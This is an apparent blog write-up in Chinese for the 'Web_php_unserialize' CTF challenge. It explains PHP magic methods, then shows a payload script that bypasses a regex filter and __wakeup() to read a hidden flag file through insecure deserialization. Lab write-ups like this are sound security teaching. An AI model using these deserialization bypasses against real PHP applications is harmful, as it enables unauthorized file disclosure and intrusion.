Web_php_unserialize

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>
  • __wakeup()

    该方法是PHP反序列化时执行的第一个方法 , unserialize()会先检查是否存在 __wakeup() 方法 , 若存在则会先调用该方法 , 来预先准备对象需要的资源( 比如重新建立数据库连接 , 执行其他初始化操作等等 )

  • __construct()

    与其它 OOP( 面向对象 ) 语言类似 , PHP中也存在构造方法 , 具有构造方法的类会在每次创建新对象前调用此方法 ,该方法常用于完成一些初始化工作 .

  • __destruct()

    析构方法 , 当 某个对象的所有引用都被删除 或者 当对象被显式销毁 时 , 析构函数会被执行 .

 

回到题目中 , 看一看有哪些注意点

  1. unserialize() 方法的参数来源于 GET 请求

    虽然该请求获取的值经过一系列处理 ,包括一个Base64解码和一个正则过滤 , 但至少能确定该参数值是用户可控的 . 事实上这个正则过滤是可以绕过的 .

  2. unserialize() 的 __wakeup() 方法

    在反序列化时 , PHP 会先执行 __wakeup() 函数 . 本题中 __wakeup() 函数的作用为 : 将 $file 变量强制赋值为 index.php , 而题目又提示 flag 在 fl4g.php 中 , 因此这又牵扯到一个老问题了 : 如何绕过 __wakeup() 函数

然后就可以拿到 Flag 了 , 本题其实也就考了两个点 : 如何绕过正则表达式 以及 如何绕过 __wakeup() 方法 .

绕过正则表达式

preg_match('/[oc]:\d+:/i', $var)

匹配以(o或c:一个或多个数字:)的形式的字符串,i说明不区分大小写

通过O:4:  ——>  O:+4: 进行绕过

绕过_wakeup()函数

增加对象属性的个数就可以绕过。

构造playload

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}

$flag = new Demo('fl4g.php'); 
$flag = serialize($flag); 
$flag = str_replace('O:4', 'O:+4',$flag); // 绕过正则
$flag = str_replace(':1:', ':2:' ,$flag); //绕过_wakeup()
$flag=base64_encode($flag);
echo $flag;
?>

拿到flag

 

 注意:

不同属性的对象序列化后字符格式是不一样的

参考:PHP反序列化研究 - 知乎 (zhihu.com)

更多资料参考:Web - Web_php_unserialize - WriteUp - H0t-A1r-B4llo0n (guildhab.top)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值